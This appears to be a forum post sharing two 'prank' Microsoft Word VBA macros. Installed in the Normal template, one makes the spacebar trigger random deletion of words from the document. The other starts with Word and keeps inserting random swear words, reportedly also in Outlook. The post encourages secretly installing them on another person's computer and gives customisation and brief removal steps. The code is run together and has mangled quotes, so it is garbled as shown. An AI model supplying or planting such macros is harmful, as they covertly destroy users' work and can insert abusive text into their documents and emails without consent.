Funny MS Word Trick
b4 going into it : do it on ur own risk. This next prank is a little strange. I hope it makes sense. What this prank does is, when ever you press spacebar it copies the word between the first space and the next. Then it takes that word and from 5 to 1 second it will delete the word. Confusing? Well in the most simple terms it copies words while you are typing them. Then a few seconds after you typed that word it will delete that word. Try it out yourself and you’ll see the frustration it can cause.Step 1: Open Microsoft WordStep 2: Press Alt F11Step 3: Copy the code below into your normal template: (retype any “)
Quote:
Sub AddKeyBinding()With ApplicationCustomizationContext = NormalTemplateKeyBindings.Add KeyCode:=BuildKeyCode(wdKeySpacebar), KeyCategory:=wdKeyCategoryCommand, _Command:=”Timer”End WithEnd SubPublic Sub Timer()Dim x As DocumentSet x = ActiveDocumentDim z() As StringSelection.TypeText Text:=” ”counter = CStr(Int((10 - 1 + 1) * Rnd + 1))Application.OnTime When:=Now + TimeValue(”00:00:” + counter), _Name:=”removeit”End SubSub removeit()Dim x As DocumentSet x = ActiveDocumentcounter = CStr(Int((x.Words.Count - 1 + 1) * Rnd + 1))x.Words(counter).DeleteEnd Sub Step 4: Click PlayStep 5: Let them figure out how to fix it---------------What do you think of when you think of Tourettes? Random swear words right? This next prank does exactly that. While you are typing in a word document or outlook a random swear word will appear. The words will appear in random increments and the words them selves are random. The words and the time gap is determined by you.Step 1: Open Microsoft WordStep 2: Press Alt F-11 (This will open the VBA EditorStep 3: Select your Normal Template by double clicking “This Document”Step 4: Copy the code below into your normal template. Remember to re-type any “s, they dont always transfer over correctly in the copy/paste process.
Quote:
Sub typeRand()Dim counter As Stringcounter = CStr(Int((30 - 1 + 1) * Rnd + 1))Application.OnTime When:=Now + TimeValue(”00:00:” + counter), _Name:=”TimedClose”End SubSub TimedClose()Dim maindocument As DocumentSet maindocument = activedocumentcounter = CStr(Int((5 - 1 + 1) * Rnd + 1))Select Case counterCase 1Selection.TypeText Text:=” **** ”Case 2Selection.TypeText Text:=” ASSHOLE ”Case 3Selection.TypeText Text:=” **** ”Case 4Selection.TypeText Text:=” BITCH ”Case 5Selection.TypeText Text:=” DICK ”End SelectCall typeRandEnd Sub Step 5: Close Microsoft WordStep 6: EnjoyIf you have done this correctly the code will load when the person loads Word. Currently there are 5 swear words. They randomly appear any where between 30 and 1 second. This code will load the second they start using word. So if the person doesn’t even type it will start going. It will affect both word and outlook. Below are some tips on how to modify the code.Edit Swear WordsYou can add any number of words you want. To increase the number of swear words only takes a couple tweaksIf you want to have a total of 20 swear words change the 5 in bold to 20.Before:counter = CStr(Int((5 - 1 + 1) * Rnd + 1))Aftercounter = CStr(Int((20 - 1 + 1) * Rnd + 1))The next step is to add the swear words. Currently there are 5 swear words. To add a new swear word, repeat the following till you reached the desired amount. After the last statement Case 5, Add Case 6Case 5Selection.TypeText Text:=” DICK ”Case 6Selection.TypeText Text:=” COCK EATER “Case 7Selection.TypeText Text:=” **** Lover “When you have added all the swear words you want make sure to finish with, End Select.Edit Time RangeTo change the random number range do as follows:The maximum number comes first and is in boldcounter = CStr(Int((30 - 1 + 1) * Rnd + 1))To change the maxium simply change the number 30 to something less than or equal to 59To change the minimum number change the numbers in boldcounter = CStr(Int((20 - 1 + 1) * Rnd + 1))I recommend keep this at 1 second but changing it wont hurtHow to Reverse the codePress Alt-F11 and re-open your normal document. Erase the code and restart word.PS : dont blame me if u messed up anything